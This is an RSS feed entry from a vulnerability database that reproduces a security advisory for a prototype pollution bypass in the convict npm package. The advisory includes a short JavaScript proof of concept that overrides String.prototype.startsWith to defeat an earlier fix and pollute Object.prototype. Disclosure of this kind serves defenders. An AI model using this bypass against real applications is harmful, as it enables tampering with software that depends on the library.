<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 07 Oct 2026 21:17:00 +0000</lastBuildDate>
    <item>
      <title>GHSA-44fc-8fm5-q62h — Convict has Prototype Pollution via startsWith() function</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-44fc-8fm5-q62h</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: convict&lt;/p&gt;
&lt;p&gt;### Summary
A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`.&lt;/p&gt;
&lt;p&gt;### Details
The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings.&lt;/p&gt;
&lt;p&gt;### PoC
#### Steps to reproduce
1. Install latest version of convict using `npm install` or cloning from git
2. Run the following code snippet:&lt;/p&gt;
&lt;p&gt;```javascript
String.prototype.startsWith = () =&amp;gt; false; 
const convict = require(&amp;#39;convict&amp;#39;);
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set(&amp;#39;constructor.prototype.polluted&amp;#39;, &amp;#39;yes&amp;#39;);
console.log({}.polluted);    // prints yes -&amp;gt; the patch is bypassed and prototype pollution occurred
```&lt;/p&gt;
&lt;p&gt;#### Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
```
undefined
undefined OR throw an Error
```&lt;/p&gt;
&lt;p&gt;#### Actual behavior
`Object.prototype` is polluted 
This is printed on the console:
```
undefined 
yes
```&lt;/p&gt;
&lt;p&gt;### Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applica…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: convict&lt;/p&gt;
&lt;p&gt;### Summary
A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`.&lt;/p&gt;
&lt;p&gt;### Details
The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings.&lt;/p&gt;
&lt;p&gt;### PoC
#### Steps to reproduce
1. Install latest version of convict using `npm install` or cloning from git
2. Run the following code snippet:&lt;/p&gt;
&lt;p&gt;```javascript
String.prototype.startsWith = () =&amp;gt; false; 
const convict = require(&amp;#39;convict&amp;#39;);
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set(&amp;#39;constructor.prototype.polluted&amp;#39;, &amp;#39;yes&amp;#39;);
console.log({}.polluted);    // prints yes -&amp;gt; the patch is bypassed and prototype pollution occurred
```&lt;/p&gt;
&lt;p&gt;#### Expected behavior
Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
```
undefined
undefined OR throw an Error
```&lt;/p&gt;
&lt;p&gt;#### Actual behavior
`Object.prototype` is polluted 
This is printed on the console:
```
undefined 
yes
```&lt;/p&gt;
&lt;p&gt;### Impact
This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applica…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-44fc-8fm5-q62h</guid>
    </item>
  </channel>
</rss>
